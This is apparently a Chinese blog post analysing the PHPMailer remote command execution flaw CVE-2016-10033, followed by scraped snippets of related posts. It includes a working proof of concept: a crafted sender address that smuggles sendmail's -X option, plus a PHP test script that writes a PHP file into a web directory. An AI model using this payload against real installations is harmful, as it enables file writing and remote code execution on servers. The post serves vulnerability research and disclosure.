1. 程式人生 > >PHPMailer 命令執行漏洞(CVE-2016-10033)分析

PHPMailer 命令執行漏洞(CVE-2016-10033)分析

PHPMailer是一個基於PHP語言的郵件傳送元件,被廣泛運用於諸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等使用者量巨大的應用與框架中。

CVE-2016-10033是PHPMailer中存在的高危安全漏洞,攻擊者只需巧妙地構造出一個惡意郵箱地址,即可寫入任意檔案,造成遠端命令執行的危害。

對比一下新老版本: https://github.com/PHPMailer/PHPMailer/compare/v5.2.17...master


其實答案呼之欲出了——和Roundcube的RCE類似,mail函式的第五個引數,傳命令引數的地方沒有進行轉義。

回顧一下當時Roundcube的漏洞:因為mail函式最終是呼叫的系統的sendmail進行郵件傳送,而sendmail支援-X引數,通過這個引數可以將日誌寫入指定檔案。可以寫檔案,當然就可以寫shell,造成RCE了。
詳細分析一下,下載一份原始碼,並切換到5.2.17版本:

git clone https://github.com/PHPMailer/PHPMailer
cd PHPMailer
git checkout -b CVE-2016-10033 v5.2.17

單步除錯可以發現確實和之前Roundcube出現的漏洞( http://wiki.ioin.in/search?word=roundcube )一樣,是傳給mail函式的第五個引數沒有正確過濾:


但上圖是錯的,因為這裡是不支援bash的一些語法的,也就是說反引號、${IFS}都是無效的。但實際上PHPMailer在呼叫mailPassthru前會對email進行一定的檢測,這導致我們無法構造出像Roundcube那些可以直接寫檔案的payload,檢測部分的程式碼如下:

  /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('
[email protected]
', function($address) { * return (strpos($address, '@') !== false); * }); * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. * @return boolean * @static * @access public */ public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) { return false; } if (!$patternselect or $patternselect == 'auto') { //Check this constant first so it works when extension_loaded() is disabled by safe mode //Constant was added in PHP 5.2.4 if (defined('PCRE_VERSION')) { //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { $patternselect = 'pcre8'; } else { $patternselect = 'pcre'; } } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { //Fall back to older PCRE $patternselect = 'pcre'; } else { //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension if (version_compare(PHP_VERSION, '5.2.0') >= 0) { $patternselect = 'php'; } else { $patternselect = 'noregex'; } } } switch ($patternselect) { case 'pcre8': /** * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains. * @link http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (boolean)preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'pcre': //An older regex that doesn't need a recent PCRE return (boolean)preg_match( '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address ); case 'html5': /** * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) */ return (boolean)preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-][email protected][a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'noregex': //No PCRE! Do something _very_ approximate! //Check the address is 3 chars or longer and contains an @ that's not the first or last char return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1); case 'php': default: return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); } }

其他的地方我就不分析了,只分析上面這個函式,這個函式有這個特點

預設patternselect==‘auto’,它會自動選擇一個方式對email進行檢測
如果php支援正則PCRE(也就是包含preg_replace函式),就用正則的方式來檢查,就是那一大串很難讀懂的正則
如果php不支援PCRE,且PHP版本大於PHP5.2.0,就是用PHP自帶的filter來檢查email
如果php不支援PCRE,且PHP版本低於PHP5.2.0,就直接檢查email中是否包含@
所以,根據現在的分析(注意,不是最終分析),如果想繞過這個email的檢查,目標PHP環境必須有以下兩個條件:

PHP版本小於5.2.0
PHP不支援正則表示式,即沒有安裝PCRE擴充套件(預設是安裝的)
那麼如果目標PHP環境不滿足上述條件,是不是就絕對不會出現漏洞了呢?當然答案也是否定的,我提兩種可能的情況。

一、開發者手工指定Email檢查方法

PHPMailer是支援讓開發者手工指定Email的檢測方法的:


如果開發者編寫了上述畫框的程式碼,那麼這裡就是存在漏洞的,因為其只檢查Email中是否包含@。

二、開發者指定PHPMailer::$validator = 'noregex'

我們看到validateAddress函式:

public static function validateAddress($address, $patternselect = null)
{
   if (is_null($patternselect)) {
       $patternselect = self::$validator;
   }

$patternselect預設是根據self::$validator來確定的,如果開發者指定了PHPMailer::$validator = 'noregex',也就可以繞過validateAddress函數了。

分析一下Email正則

那麼,這真的是一個雞肋漏洞麼?年輕人,多思考一下。

如果想把漏洞變成一個可用的好漏洞,需要去繞過Email的正則,我們來分析一下:

preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);

中間的分析過程我後面慢慢寫,多研究一下你會發現,在@前面,如果加上括號,將可以引入空格,我的payload如下:

aaa( -X/home/www/success.php )@qq.com

測試程式碼:

<?php
require 'PHPMailer/PHPMailerAutoload.php';

function send($from) {
    $mail = new PHPMailer;

    $mail->setFrom($from);
    $mail->addAddress('[email protected]', 'Joe User');     // Add a recipient

    $mail->isHTML(true);                                  // Set email format to HTML

    $mail->Subject = '<?php phpinfo(); ?>';
    $mail->Body    = 'This is the HTML message body <b>in bold!</b>';
    $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';

    if(!$mail->send()) {
        echo 'Message could not be sent.';
        echo 'Mailer Error: ' . $mail->ErrorInfo;
    } else {
        echo 'Message has been sent' . "\n";
    }

    unset($mail);
}

$address = "aaa( -X/home/www/test.php )@qq.com";

send($address);

執行:


成功寫入success.php。

利用這個payload,是無需PHP滿足什麼條件的,通用寫檔案Payload。

參考連結:

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
http://pwnscriptum.com/
https://www.exploit-db.com/exploits/40968/
https://github.com/opsxcq/exploit-CVE-2016-10033

相關推薦

PHPMailer 命令執行漏洞CVE-2016-10033分析

PHPMailer是一個基於PHP語言的郵件傳送元件,被廣泛運用於諸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等使用者量巨大的應用與框架中。 CVE-2016-10033是PHPMailer中存在的高危安全漏洞,攻擊者只

PHPMailer < 5.2.18 遠程代碼執行漏洞CVE-2016-10033

com ifconf github cnblogs grep main src avi https PHPMailer < 5.2.18 Remote Code Execution    本文將簡單展示一下PHPMailer遠程代碼執行漏洞(CVE-2016-100

Drupal 遠端命令執行漏洞CVE-2018-7600

名稱: Drupal 遠端命令執行漏洞 CVE-ID: CVE-2018-7600 Poc: https://paper.seebug.org/578/ EXPLOIT-DB: https://www.exploit-db.com/exploits/44448/ 平臺: PHP 漏洞描述:

GoAhead Web伺服器遠端命令執行漏洞CVE-2017-17562漏洞復現

一、漏洞概述: 1、漏洞簡介: GoAhead Web Server,它是一個開源(商業許可)、簡單、輕巧、功能強大、可以在多個平臺執行的嵌入式Web Server。 GoAhead Web Server是跨平臺的伺服器軟體,可以穩定地執行在Windows,Linux和

隱藏17年的Office遠程代碼執行漏洞CVE-2017-11882

portal round splay avi uid windows 1.10 分享 ret Preface   這幾天關於Office的一個遠程代碼執行漏洞很流行,昨天也有朋友發了相關信息,於是想復現一下看看,復現過程也比較簡單,主要是簡單記錄下。   利用腳本Git

WebLogic 任意文件上傳 遠程代碼執行漏洞 CVE-2018-2894------->>>任意文件上傳檢測POC

htm input ade print out vcg exc ops 上傳 前言: Oracle官方發布了7月份的關鍵補丁更新CPU(Critical Patch Update),其中針對可造成遠程代碼執行的高危漏洞 CVE-2018-2894 進行修復: http:

Apache ActiveMQ任意檔案寫入漏洞CVE-2016-3088復現

### Apache ActiveMQ任意檔案寫入漏洞(CVE-2016-3088)復現 #### 一、漏洞簡介 ​ 2016年4月14日,國外安全研究人員 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多個安全漏洞,可使遠端攻擊者用惡意程式碼替代We

Apache Shiro 1.2.4反序列化漏洞CVE-2016-4437復現

# Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)復現 ## 環境搭建 ``` docker pull medicean/vulapps:s_shiro_1 docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

Samba遠程代碼執行漏洞CVE-2017-7494) 復現

51cto ucc 協議 samba配置文件 finished arc tin epo type 漏洞背景:Samba是在Linux和UNIX系統上實現SMB協議的一個軟件,2017年5月24日Samba發布了4.6.4版本,中間修復了一個嚴重的遠程代碼執行漏洞,漏洞編號C

python 代碼審計-命令執行漏洞自己編寫的代碼

[1] 問題 錯誤 code 端口掃描 iter turn command att python 代碼審計-命令執行漏洞(自己編寫的代碼) 0x00 源代碼 def execute(request): context ={} ip= request.POS

HTTP.SYS遠端程式碼執行漏洞CVE-2015-1635,MS15-034

漏洞描述及滲透過程 HTTP協議堆疊(HTTP.sys)中存在一個遠端執行程式碼漏洞,該漏洞是在HTTP.sys不正確地分析特製HTTP請求時引起的。   漏洞危害 攻擊者只需要傳送惡意的http請求資料包,就可能遠端讀取IIS伺服器的記憶體資料,或使伺服器系統藍屏崩潰

Tomcat曝本地提權漏洞 CVE-2016-1240 附PoC

就在各位歡度國慶的時候,Tomcat於10月1日曝出本地提權漏洞CVE-2016-1240。僅需Tomcat使用者低許可權,攻擊者就能利用該漏洞獲取到系統的ROOT許可權。而且該漏洞的利用難度並不大,受影響的使用者需要特別關注。 Tomcat是個執行在Apache上的應用伺

Nginx敏感信息泄露漏洞CVE-2017-7529

泄露 內存 構造 一次 .com openss erro 這樣的 技術 2017年7月11日,為了修復整數溢出漏洞(CVE-2017-7529), Nginx官方發布了nginx-1.12.1 stable和nginx-1.13.3 mainline版本,並且提供了官方pa

WebLogic中WLS 組件漏洞CVE-2017-10271專項檢測工具

風險 bsp load 服務 app mage www 趨勢 新的 來源: 時間:2017-12-23 00:00:00 作者:  瀏覽:1929 次 近期安恒信息在應急響應過程中發現有惡意攻擊者利用WebLogic漏洞對企業服務器發起大範圍遠程攻擊,攻擊成功後植入挖

Android驅動中的remap_pfn_range()校驗漏洞CVE-2013-2596

用戶態 bsp 介紹 進程 sig shared res exploit 關系 簡單介紹 當然類似函數還有io_remap_pfn_range()。 remap_pfn_range() 為用戶態提供了一種手段訪問內核地址空間。它通過新頁表,將一塊內核物理內存映射到用戶態進程

18.phpmyadmin 4.8.1 遠端檔案包含漏洞CVE-2018-12613

phpmyadmin 4.8.1 遠端檔案包含漏洞(CVE-2018-12613) phpMyAdmin是一套開源的、基於Web的MySQL資料庫管理工具。其index.php中存在一處檔案包含邏輯, 通過二次編碼即可繞過檢查,造成遠端檔案包含漏洞。 受影響版本: phpMyAdmin 4.8.0和4

Weblogic 小於10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞CVE-2017-10271

之前本來複現過一次的,結果後來資料丟了,只好再來一遍。 沒找到在linux下命令列安裝的方法,於是直接在windows上安裝算了。 12.2.1.2.0下載: https://download.oracle.com/otn/nt/middleware/12c/12212/fmw_

ActiveMQ反序列化漏洞CVE-2015-5254復現

  0x00 漏洞前言         Apache ActiveMQ是美國阿帕奇(Apache)軟體基金會所研發的一套開源的訊息中介軟體,它支援Java訊息服務,叢集,Spring Framework等。Apache ActiveMQ 5.13.0

Vulhub - Ruby On Rails 路徑穿越漏洞CVE-2018-3760復現

Ruby On Rails 路徑穿越漏洞(CVE-2018-3760) Ruby On Rails在開發環境下使用Sprockets作為靜態檔案伺服器,Ruby On Rails是著名Ruby Web開發框架,Sprockets是編譯及分發靜態資原始檔的Ruby庫。 Sprockets

PHP任意檔案上傳漏洞CVE-2015-2348

安全研究人員今天釋出了一箇中危漏洞——PHP任意檔案上傳漏洞(CVE-2015-2348)。 在上傳檔案的時候只判斷檔名是合法的檔名就斷定這個檔案不是惡意檔案,這確實會導致其他安全問題。並且在這種情況下,在你自己的檔案中檢查漏洞很不現實,因為這個漏洞可以繞過你對檔名字尾、檔案型別(Content-Typ